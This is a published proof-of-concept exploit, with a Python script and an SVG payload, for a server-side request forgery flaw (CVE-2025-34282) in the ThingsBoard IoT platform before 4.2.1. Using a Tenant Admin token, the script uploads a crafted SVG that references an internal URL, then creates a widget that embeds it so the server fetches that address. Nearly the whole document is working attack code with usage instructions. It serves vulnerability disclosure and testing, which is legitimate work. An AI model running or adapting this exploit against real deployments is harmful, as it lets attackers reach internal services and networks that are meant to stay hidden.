# Exploit Title: ThingsBoard IoT Platform 4.2.0 - Server-Side Request Forgery (SSRF)
# Date: 2026-03-25
# Exploit Author: Tamil Mathi T.
# Vendor Homepage: https://thingsboard.io
# Software Link: https://github.com/thingsboard/thingsboard
# Version: < 4.2.1
# Tested On: ThingsBoard 4.2.0
# CVE: CVE-2025-34282
# References: https://www.cve.org/CVERecord?id=CVE-2025-34282
# https://github.com/mathitam/thingsboard-ssrf-cve-2025-34282
#
# Description:
# ThingsBoard versions before 4.2.1 are vulnerable to SSRF via the Image
# Upload Gallery feature. An attacker can upload a crafted SVG file containing
# a remote URL reference (e.g. via <image xlink:href="http://127.0.0.1:5555">).
# When ThingsBoard processes the uploaded SVG server-side, it fetches the
# referenced URL, allowing the attacker to reach internal services not
# exposed to the internet.
#
# Requires a Tenant Admin bearer token. Tenant Admin is a role below System
# Admin in ThingsBoard's hierarchy and has access to the Widget Library and
# Image Upload Gallery APIs used in this exploit.
#
# Attack chain:
# 1. Upload a malicious SVG to POST /api/image
# -> Server processes the SVG and issues a request to the internal URL
# 2. Create a custom widget embedding the SVG's publicLink via <object> tag
# -> Widget render also triggers the server-side fetch
#
# SVG payload used (ssrf_localhost_5555_svg.svg):
# <?xml version="1.0" standalone="no"?>
# <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"
# xmlns:xlink="http://www.w3.org/1999/xlink"
# xmlns:ev="http://www.w3.org/2001/xml-events">
# <defs>
# <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
# <image xlink:href="http://127.0.0.1:5555" x="0" y="0" width="600" height="450" />
# </pattern>
# </defs>
# <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 ..." fill="url(#img1)" />
# </svg>
#
# Usage:
# pip install requests
# python thingsboard_ssrf.py <svg_file> <bearer_token>
#
# Example:
# python thingsboard_ssrf.py ssrf_localhost_5555_svg.svg eyJhbGci...
import requests
import json
import os
import sys
import argparse
import time
DEFAULT_URL_UPLOAD = "http://localhost:8080/api/image"
DEFAULT_URL_WIDGET = "http://localhost:8080/api/widgetType"
DEFAULT_REFERER = "http://localhost:8080/resources/images"
DEFAULT_ORIGIN = "http://localhost:8080"
def upload_image(filepath, token):
if not os.path.isfile(filepath):
raise SystemExit(f"File not found: {filepath}")
filename = os.path.basename(filepath)
mime_types = {
'.svg': 'image/svg+xml',
'.jpg': 'image/jpeg',
'.jpeg': 'image/jpeg',
'.png': 'image/png',
'.gif': 'image/gif'
}
ext = os.path.splitext(filename)[1].lower()
mime_type = mime_types.get(ext, 'application/octet-stream')
headers = {
"X-Authorization": f"Bearer {token}",
"User-Agent": "python-requests/2.x",
"Referer": DEFAULT_REFERER,
"Origin": DEFAULT_ORIGIN,
}
with open(filepath, "rb") as f:
files = {
"file": (filename, f, mime_type)
}
resp = requests.post(DEFAULT_URL_UPLOAD, headers=headers, files=files, timeout=30, allow_redirects=False)
return resp
def create_widget(public_link, token):
headers = {
"X-Authorization": f"Bearer {token}",
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*",
"Origin": DEFAULT_ORIGIN,
"User-Agent": "python-requests"
}
template_html = f"""
<tb-value-card-widget
[ctx]="ctx"
[widgetTitlePanel]="widgetTitlePanel">
</tb-value-card-widget>
<object data="{public_link}" type="image/svg+xml"></object>
"""
payload = {
"fqn": "SSRF_testing_Poc",
"name": "SSRF_testing_Poc",
"deprecated": False,
"image": "tb-image;/api/images/system/air_quality_index_card_system_widget_image.png",
"description": "Displays the latest air quality index telemetry in a scalable rectangle card.",
"descriptor": {
"type": "latest",
"sizeX": 3,
"sizeY": 3,
"resources": [],
"templateHtml": template_html,
"templateCss": "",
"controllerScript": "self.onInit = function() {\n self.ctx.$scope.valueCardWidget.onInit();\n};\n\nself.onDataUpdated = function() {\n self.ctx.$scope.valueCardWidget.onDataUpdated();\n};\n\nself.typeParameters = function() {\n return {\n maxDatasources: 1,\n maxDataKeys: 1,\n singleEntity: true,\n previewWidth: '250px',\n previewHeight: '250px',\n embedTitlePanel: true,\n supportsUnitConversion: true,\n defaultDataKeysFunction: function() {\n return [{ name: 'air', label: 'Air Quality Index', type: 'timeseries' }];\n }\n };\n};\n\nself.onDestroy = function() {\n};\n",
"dataKeySettingsForm": [],
"settingsDirective": "tb-value-card-widget-settings",
"hasBasicMode": True,
"basicModeDirective": "tb-value-card-basic-config",
"defaultConfig": "{\"datasources\":[{\"type\":\"function\",\"name\":\"function\",\"dataKeys\":[{\"name\":\"f(x)\",\"type\":\"function\",\"label\":\"Air Quality Index\",\"color\":\"#2196f3\",\"settings\":{},\"_hash\":0.2392660816082064,\"funcBody\":\"var value = prevValue + Math.random() * 100 - 50;\\nif (value < 0) {\\n\\tvalue = 0;\\n} else if (value > 320) {\\n\\tvalue = 320;\\n}\\nreturn value;\",\"aggregationType\":null,\"units\":null,\"decimals\":null,\"usePostProcessing\":null,\"postFuncBody\":null}],\"alarmFilterConfig\":{\"statusList\":[\"ACTIVE\"]}}],\"timewindow\":{\"realtime\":{\"timewindowMs\":60000}},\"showTitle\":false,\"backgroundColor\":\"rgba(0, 0, 0, 0)\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"padding\":\"0px\",\"settings\":{\"labelPosition\":\"top\",\"layout\":\"square\",\"showLabel\":true,\"labelFont\":{\"size\":14,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"labelColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"showIcon\":true,\"iconSize\":40,\"iconSizeUnit\":\"px\",\"icon\":\"mdi:weather-windy\",\"iconColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}],\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"valueFont\":{\"size\":26,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"valueColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}]},\"showDate\":true,\"dateFormat\":{\"format\":null,\"lastUpdateAgo\":true,\"custom\":false},\"dateFont\":{\"family\":\"Roboto\",\"size\":12,\"sizeUnit\":\"px\",\"style\":\"normal\",\"weight\":\"500\"},\"dateColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.38)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"background\":{\"type\":\"color\",\"color\":\"#fff\",\"overlay\":{\"enabled\":false,\"color\":\"rgba(255,255,255,0.72)\",\"blur\":3}},\"autoScale\":true},\"title\":\"Air quality card\",\"dropShadow\":true,\"enableFullscreen\":false,\"titleStyle\":{\"fontSize\":\"16px\",\"fontWeight\":400},\"units\":\"AQI\",\"decimals\":1,\"useDashboardTimewindow\":true,\"showLegend\":false,\"widgetStyle\":{},\"actions\":{},\"configMode\":\"basic\",\"displayTimewindow\":true,\"margin\":\"0px\",\"borderRadius\":\"0px\",\"widgetCss\":\"\",\"pageSize\":1024,\"noDataDisplayMessage\":\"\",\"showTitleIcon\":false,\"titleTooltip\":\"\",\"titleFont\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":null,\"weight\":null,\"style\":null,\"lineHeight\":\"1.6\"},\"titleIcon\":\"\",\"iconColor\":\"rgba(0, 0, 0, 0.87)\",\"iconSize\":\"14px\",\"timewindowStyle\":{\"showIcon\":true,\"iconSize\":\"14px\",\"icon\":\"query_builder\",\"iconPosition\":\"left\",\"font\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":null,\"weight\":null,\"style\":null,\"lineHeight\":\"1\"},\"color\":null}}"
},
"resources": None,
"scada": False,
"tags": ["weather", "environment", "air", "aqi", "pollution", "emission", "smog"]
}
try:
resp = requests.post(DEFAULT_URL_WIDGET, headers=headers, json=payload)
return resp
except Exception as e:
print(f"Request failed: {e}", file=sys.stderr)
sys.exit(1)
def main(image_path, token):
try:
resp = upload_image(image_path, token)
print("Upload Status:", resp.status_code)
public_link = resp.json().get("publicLink") or (resp.json().get("data") and resp.json()["data"].get("publicLink"))
if not public_link:
print(resp.json())
print("Failed to retrieve public link from response.")
sys.exit(1)
print("Public Link:", public_link)
time.sleep(2)
widget_resp = create_widget(public_link, token)
print("Widget Creation Status:", widget_resp.status_code)
print("\n[+] Widget created successfully.")
print(" Look for widget named 'SSRF_testing_Poc' in the Widget Library.")
print(" Add it to any dashboard to trigger the SSRF.")
except Exception as e:
print("Error:", e, file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="ThingsBoard SSRF via SVG Upload PoC")
parser.add_argument("image", help="Path to the SVG file to upload")
parser.add_argument("token", nargs="?", default=os.environ.get("TB_TOKEN"), help="Bearer token (or set TB_TOKEN env var)")
args = parser.parse_args()
if not args.token:
print("Error: token not provided and TB_TOKEN not set.", file=sys.stderr)
parser.print_help()
sys.exit(2)
main(args.image, args.token)